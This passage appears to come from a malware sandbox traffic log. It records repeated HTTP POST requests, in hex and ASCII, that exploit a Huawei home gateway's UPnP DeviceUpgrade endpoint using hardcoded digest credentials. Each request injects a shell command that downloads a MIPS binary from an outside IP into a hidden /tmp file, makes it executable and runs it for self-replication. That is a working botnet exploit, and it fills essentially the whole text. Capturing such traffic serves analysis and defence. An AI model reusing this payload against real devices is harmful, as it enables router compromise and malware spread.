3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 